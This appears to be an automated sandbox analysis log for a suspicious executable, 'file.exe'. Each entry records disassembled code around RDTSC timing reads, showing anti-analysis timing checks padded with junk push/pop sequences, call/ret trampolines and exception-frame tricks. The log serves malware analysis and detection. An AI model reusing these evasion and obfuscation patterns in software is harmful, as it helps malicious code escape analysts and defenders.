Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C7776 second address: 7C7796 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 mov eax, dword ptr [esp+04h] 0x0000000b jmp 00007F4D45034D1Eh 0x00000010 mov eax, dword ptr [eax] 0x00000012 push eax 0x00000013 push edx 0x00000014 push edi 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C7796 second address: 7C779B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C78FB second address: 7C78FF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C84A8 second address: 7C84AC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C867A second address: 7C867E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C867E second address: 7C8691 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 push eax 0x0000000a pop eax 0x0000000b popad 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 push ebx 0x00000012 pop ebx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C8764 second address: 7C878F instructions: 0x00000000 rdtsc 0x00000002 jp 00007F4D45034D2Dh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push ebx 0x0000000c push eax 0x0000000d push edx 0x0000000e jno 00007F4D45034D16h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C9021 second address: 7C9044 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4D44D0519Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b ja 00007F4D44D0519Ch 0x00000011 jnl 00007F4D44D05196h 0x00000017 push eax 0x00000018 push edx 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C9044 second address: 7C9048 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C9A68 second address: 7C9AF8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jnp 00007F4D44D05196h 0x00000009 jmp 00007F4D44D051A3h 0x0000000e popad 0x0000000f pop edx 0x00000010 pop eax 0x00000011 mov dword ptr [esp], eax 0x00000014 jmp 00007F4D44D0519Bh 0x00000019 push 00000000h 0x0000001b push 00000000h 0x0000001d push ebx 0x0000001e call 00007F4D44D05198h 0x00000023 pop ebx 0x00000024 mov dword ptr [esp+04h], ebx 0x00000028 add dword ptr [esp+04h], 00000019h 0x00000030 inc ebx 0x00000031 push ebx 0x00000032 ret 0x00000033 pop ebx 0x00000034 ret 0x00000035 push 00000000h 0x00000037 push 00000000h 0x00000039 push edi 0x0000003a call 00007F4D44D05198h 0x0000003f pop edi 0x00000040 mov dword ptr [esp+04h], edi 0x00000044 add dword ptr [esp+04h], 0000001Bh 0x0000004c inc edi 0x0000004d push edi 0x0000004e ret 0x0000004f pop edi 0x00000050 ret 0x00000051 and di, 17ADh 0x00000056 xchg eax, ebx 0x00000057 push ebx 0x00000058 jno 00007F4D44D0519Ch 0x0000005e pop ebx 0x0000005f push eax 0x00000060 push eax 0x00000061 push edx 0x00000062 push eax 0x00000063 push edx 0x00000064 push eax 0x00000065 push edx 0x00000066 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C9AF8 second address: 7C9AFC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C9AFC second address: 7C9B06 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F4D44D05196h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7CB715 second address: 7CB71B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7CB45B second address: 7CB466 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jnc 00007F4D44D05196h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7CB71B second address: 7CB720 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7CB466 second address: 7CB47D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F4D44D0519Dh 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7CB720 second address: 7CB730 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F4D45034D1Bh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7CB47D second address: 7CB483 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7CB730 second address: 7CB79C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 nop 0x00000008 push 00000000h 0x0000000a push 00000000h 0x0000000c push ebx 0x0000000d call 00007F4D45034D18h 0x00000012 pop ebx 0x00000013 mov dword ptr [esp+04h], ebx 0x00000017 add dword ptr [esp+04h], 0000001Dh 0x0000001f inc ebx 0x00000020 push ebx 0x00000021 ret 0x00000022 pop ebx 0x00000023 ret 0x00000024 jmp 00007F4D45034D21h 0x00000029 push 00000000h 0x0000002b mov esi, 39B7D3B1h 0x00000030 and di, 3F55h 0x00000035 xchg eax, ebx 0x00000036 jg 00007F4D45034D24h 0x0000003c push eax 0x0000003d push eax 0x0000003e push edx 0x0000003f jo 00007F4D45034D18h 0x00000045 pushad 0x00000046 popad 0x00000047 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7CC1C9 second address: 7CC1CE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7CC1CE second address: 7CC1EC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 push edi 0x00000006 pop edi 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F4D45034D21h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7CCC8F second address: 7CCC94 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7CE09A second address: 7CE0A4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7CE13B second address: 7CE13F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7D581F second address: 7D5829 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F4D45034D1Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7D5829 second address: 7D5874 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov dword ptr [esp], eax 0x00000009 push 00000000h 0x0000000b push ebp 0x0000000c call 00007F4D44D05198h 0x00000011 pop ebp 0x00000012 mov dword ptr [esp+04h], ebp 0x00000016 add dword ptr [esp+04h], 00000019h 0x0000001e inc ebp 0x0000001f push ebp 0x00000020 ret 0x00000021 pop ebp 0x00000022 ret 0x00000023 sbb ebx, 7EE41D3Ah 0x00000029 stc 0x0000002a push 00000000h 0x0000002c or dword ptr [ebp+122D3198h], edi 0x00000032 push 00000000h 0x00000034 mov dword ptr [ebp+12467B4Ch], ecx 0x0000003a push eax 0x0000003b push esi 0x0000003c push eax 0x0000003d push edx 0x0000003e jc 00007F4D44D05196h 0x00000044 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7D88CF second address: 7D88D3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7DA830 second address: 7DA867 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop edi 0x00000005 jmp 00007F4D44D0519Dh 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e pushad 0x0000000f jnp 00007F4D44D051ADh 0x00000015 push edx 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7D5A0B second address: 7D5A0F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7D68F7 second address: 7D68FB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7D8A72 second address: 7D8B0F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 mov dword ptr [esp], eax 0x00000008 mov edi, edx 0x0000000a push dword ptr fs:[00000000h] 0x00000011 mov ebx, ecx 0x00000013 mov dword ptr fs:[00000000h], esp 0x0000001a push 00000000h 0x0000001c push ebx 0x0000001d call 00007F4D45034D18h 0x00000022 pop ebx 0x00000023 mov dword ptr [esp+04h], ebx 0x00000027 add dword ptr [esp+04h], 0000001Bh 0x0000002f inc ebx 0x00000030 push ebx 0x00000031 ret 0x00000032 pop ebx 0x00000033 ret 0x00000034 mov ebx, dword ptr [ebp+12468BF9h] 0x0000003a mov di, si 0x0000003d mov eax, dword ptr [ebp+122D115Dh] 0x00000043 push 00000000h 0x00000045 push ebp 0x00000046 call 00007F4D45034D18h 0x0000004b pop ebp 0x0000004c mov dword ptr [esp+04h], ebp 0x00000050 add dword ptr [esp+04h], 0000001Bh 0x00000058 inc ebp 0x00000059 push ebp 0x0000005a ret 0x0000005b pop ebp 0x0000005c ret 0x0000005d jmp 00007F4D45034D24h 0x00000062 push FFFFFFFFh 0x00000064 push ecx 0x00000065 mov dword ptr [ebp+122D2A3Bh], ebx 0x0000006b pop edi 0x0000006c mov dword ptr [ebp+122D1BF9h], eax 0x00000072 push eax 0x00000073 pushad 0x00000074 push eax 0x00000075 push edx 0x00000076 je 00007F4D45034D16h 0x0000007c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7D9993 second address: 7D9A3A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4D44D051A0h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jne 00007F4D44D051A3h 0x00000010 nop 0x00000011 jno 00007F4D44D0519Ch 0x00000017 add di, 6123h 0x0000001c push dword ptr fs:[00000000h] 0x00000023 mov dword ptr fs:[00000000h], esp 0x0000002a push 00000000h 0x0000002c push edi 0x0000002d call 00007F4D44D05198h 0x00000032 pop edi 0x00000033 mov dword ptr [esp+04h], edi 0x00000037 add dword ptr [esp+04h], 00000016h 0x0000003f inc edi 0x00000040 push edi 0x00000041 ret 0x00000042 pop edi 0x00000043 ret 0x00000044 jng 00007F4D44D0519Ch 0x0000004a mov edi, dword ptr [ebp+122D1E4Eh] 0x00000050 mov eax, dword ptr [ebp+122D14A1h] 0x00000056 push FFFFFFFFh 0x00000058 push 00000000h 0x0000005a push eax 0x0000005b call 00007F4D44D05198h 0x00000060 pop eax 0x00000061 mov dword ptr [esp+04h], eax 0x00000065 add dword ptr [esp+04h], 00000016h 0x0000006d inc eax 0x0000006e push eax 0x0000006f ret 0x00000070 pop eax 0x00000071 ret 0x00000072 mov di, BF40h 0x00000076 mov di, ax 0x00000079 add bh, FFFFFFFFh 0x0000007c nop 0x0000007d push ebx 0x0000007e push edx 0x0000007f push eax 0x00000080 push edx 0x00000081 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7DB80B second address: 7DB80F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7D8B0F second address: 7D8B19 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7D9A3A second address: 7D9A4B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop ebx 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 js 00007F4D45034D18h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7DB80F second address: 7DB832 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b jmp 00007F4D44D051A5h 0x00000010 pushad 0x00000011 popad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7D8B19 second address: 7D8B1D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7D9A4B second address: 7D9A50 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7DB832 second address: 7DB846 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F4D45034D20h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7D9A50 second address: 7D9A56 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7DB846 second address: 7DB88C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 nop 0x00000009 and ebx, 455515C5h 0x0000000f push 00000000h 0x00000011 push 00000000h 0x00000013 push esi 0x00000014 call 00007F4D45034D18h 0x00000019 pop esi 0x0000001a mov dword ptr [esp+04h], esi 0x0000001e add dword ptr [esp+04h], 00000018h 0x00000026 inc esi 0x00000027 push esi 0x00000028 ret 0x00000029 pop esi 0x0000002a ret 0x0000002b mov bx, E50Eh 0x0000002f push 00000000h 0x00000031 xor bx, 54F4h 0x00000036 xchg eax, esi 0x00000037 jnl 00007F4D45034D1Eh 0x0000003d push edi 0x0000003e push eax 0x0000003f push edx 0x00000040 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7DD8DE second address: 7DD8EE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop esi 0x00000006 push eax 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a jl 00007F4D44D05196h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7DD8EE second address: 7DD8F8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7DD8F8 second address: 7DD921 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F4D44D05196h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b nop 0x0000000c mov edi, dword ptr [ebp+122D37C1h] 0x00000012 push 00000000h 0x00000014 mov dword ptr [ebp+122D31A3h], eax 0x0000001a push 00000000h 0x0000001c mov dword ptr [ebp+122D1E1Dh], ebx 0x00000022 xchg eax, esi 0x00000023 push ebx 0x00000024 pushad 0x00000025 push ebx 0x00000026 pop ebx 0x00000027 push eax 0x00000028 push edx 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E08FA second address: 7E0917 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 push eax 0x00000008 pushad 0x00000009 jg 00007F4D45034D1Ch 0x0000000f je 00007F4D45034D1Ch 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E0917 second address: 7E099E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 nop 0x00000006 push 00000000h 0x00000008 push ecx 0x00000009 call 00007F4D44D05198h 0x0000000e pop ecx 0x0000000f mov dword ptr [esp+04h], ecx 0x00000013 add dword ptr [esp+04h], 0000001Dh 0x0000001b inc ecx 0x0000001c push ecx 0x0000001d ret 0x0000001e pop ecx 0x0000001f ret 0x00000020 sub dword ptr [ebp+122D2502h], esi 0x00000026 mov bx, D040h 0x0000002a push 00000000h 0x0000002c push 00000000h 0x0000002e push esi 0x0000002f call 00007F4D44D05198h 0x00000034 pop esi 0x00000035 mov dword ptr [esp+04h], esi 0x00000039 add dword ptr [esp+04h], 00000016h 0x00000041 inc esi 0x00000042 push esi 0x00000043 ret 0x00000044 pop esi 0x00000045 ret 0x00000046 mov edi, dword ptr [ebp+122D3A21h] 0x0000004c push 00000000h 0x0000004e jmp 00007F4D44D051A6h 0x00000053 push edx 0x00000054 mov dword ptr [ebp+122D2572h], esi 0x0000005a pop ebx 0x0000005b push eax 0x0000005c jl 00007F4D44D051A0h 0x00000062 pushad 0x00000063 pushad 0x00000064 popad 0x00000065 push eax 0x00000066 push edx 0x00000067 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7DCA87 second address: 7DCB15 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F4D45034D1Ch 0x00000008 pop edx 0x00000009 pop eax 0x0000000a nop 0x0000000b or dword ptr [ebp+122D1EB2h], edi 0x00000011 push dword ptr fs:[00000000h] 0x00000018 push 00000000h 0x0000001a push ebx 0x0000001b call 00007F4D45034D18h 0x00000020 pop ebx 0x00000021 mov dword ptr [esp+04h], ebx 0x00000025 add dword ptr [esp+04h], 00000019h 0x0000002d inc ebx 0x0000002e push ebx 0x0000002f ret 0x00000030 pop ebx 0x00000031 ret 0x00000032 push ecx 0x00000033 pop ebx 0x00000034 mov dword ptr fs:[00000000h], esp 0x0000003b push 00000000h 0x0000003d push ebx 0x0000003e call 00007F4D45034D18h 0x00000043 pop ebx 0x00000044 mov dword ptr [esp+04h], ebx 0x00000048 add dword ptr [esp+04h], 0000001Ah 0x00000050 inc ebx 0x00000051 push ebx 0x00000052 ret 0x00000053 pop ebx 0x00000054 ret 0x00000055 jng 00007F4D45034D18h 0x0000005b mov bh, 43h 0x0000005d mov eax, dword ptr [ebp+122D14C5h] 0x00000063 xor dword ptr [ebp+12466D61h], esi 0x00000069 push FFFFFFFFh 0x0000006b push esi 0x0000006c mov edi, dword ptr [ebp+122D23D0h] 0x00000072 pop ebx 0x00000073 push eax 0x00000074 pushad 0x00000075 push eax 0x00000076 push edx 0x00000077 push esi 0x00000078 pop esi 0x00000079 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7DDB7C second address: 7DDB80 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7DEA0A second address: 7DEA39 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F4D45034D18h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b pushad 0x0000000c jno 00007F4D45034D2Dh 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E19B6 second address: 7E19BB instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7DEA39 second address: 7DEA3D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7DEA3D second address: 7DEACC instructions: 0x00000000 rdtsc 0x00000002 je 00007F4D44D05196h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b nop 0x0000000c sub dword ptr [ebp+12453C7Ch], eax 0x00000012 push dword ptr fs:[00000000h] 0x00000019 xor di, F800h 0x0000001e mov dword ptr fs:[00000000h], esp 0x00000025 push 00000000h 0x00000027 push eax 0x00000028 call 00007F4D44D05198h 0x0000002d pop eax 0x0000002e mov dword ptr [esp+04h], eax 0x00000032 add dword ptr [esp+04h], 0000001Dh 0x0000003a inc eax 0x0000003b push eax 0x0000003c ret 0x0000003d pop eax 0x0000003e ret 0x0000003f mov eax, dword ptr [ebp+122D14D9h] 0x00000045 push 00000000h 0x00000047 push eax 0x00000048 call 00007F4D44D05198h 0x0000004d pop eax 0x0000004e mov dword ptr [esp+04h], eax 0x00000052 add dword ptr [esp+04h], 0000001Ch 0x0000005a inc eax 0x0000005b push eax 0x0000005c ret 0x0000005d pop eax 0x0000005e ret 0x0000005f jmp 00007F4D44D0519Dh 0x00000064 push FFFFFFFFh 0x00000066 jnp 00007F4D44D05196h 0x0000006c nop 0x0000006d push eax 0x0000006e push edx 0x0000006f push ecx 0x00000070 push eax 0x00000071 push edx 0x00000072 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7DEACC second address: 7DEAD1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E0ABA second address: 7E0ABE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E3865 second address: 7E386B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E3E27 second address: 7E3E2C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E1B7D second address: 7E1C11 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], eax 0x0000000b jmp 00007F4D45034D1Ch 0x00000010 push dword ptr fs:[00000000h] 0x00000017 push 00000000h 0x00000019 push edx 0x0000001a call 00007F4D45034D18h 0x0000001f pop edx 0x00000020 mov dword ptr [esp+04h], edx 0x00000024 add dword ptr [esp+04h], 00000018h 0x0000002c inc edx 0x0000002d push edx 0x0000002e ret 0x0000002f pop edx 0x00000030 ret 0x00000031 sub dword ptr [ebp+122D2A24h], edi 0x00000037 mov dword ptr fs:[00000000h], esp 0x0000003e mov edi, esi 0x00000040 mov eax, dword ptr [ebp+122D00B9h] 0x00000046 mov edi, esi 0x00000048 push FFFFFFFFh 0x0000004a push 00000000h 0x0000004c push eax 0x0000004d call 00007F4D45034D18h 0x00000052 pop eax 0x00000053 mov dword ptr [esp+04h], eax 0x00000057 add dword ptr [esp+04h], 00000015h 0x0000005f inc eax 0x00000060 push eax 0x00000061 ret 0x00000062 pop eax 0x00000063 ret 0x00000064 mov dword ptr [ebp+122D27B9h], edx 0x0000006a pushad 0x0000006b or dword ptr [ebp+124554CBh], edi 0x00000071 jmp 00007F4D45034D1Ch 0x00000076 popad 0x00000077 nop 0x00000078 push eax 0x00000079 push eax 0x0000007a push edx 0x0000007b push edi 0x0000007c pop edi 0x0000007d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E1C11 second address: 7E1C1E instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 push eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E1C1E second address: 7E1C22 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E3FAA second address: 7E3FAE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E408E second address: 7E4092 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E4092 second address: 7E40AC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4D44D051A6h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 779AA8 second address: 779AB2 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F4D45034D1Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7EB878 second address: 7EB87F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F4EDD second address: 7F4EE3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F4EE3 second address: 7F4EE7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F5383 second address: 7F538D instructions: 0x00000000 rdtsc 0x00000002 ja 00007F4D45034D16h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F538D second address: 7F53AF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 pushad 0x00000008 jmp 00007F4D44D051A5h 0x0000000d push edi 0x0000000e pushad 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
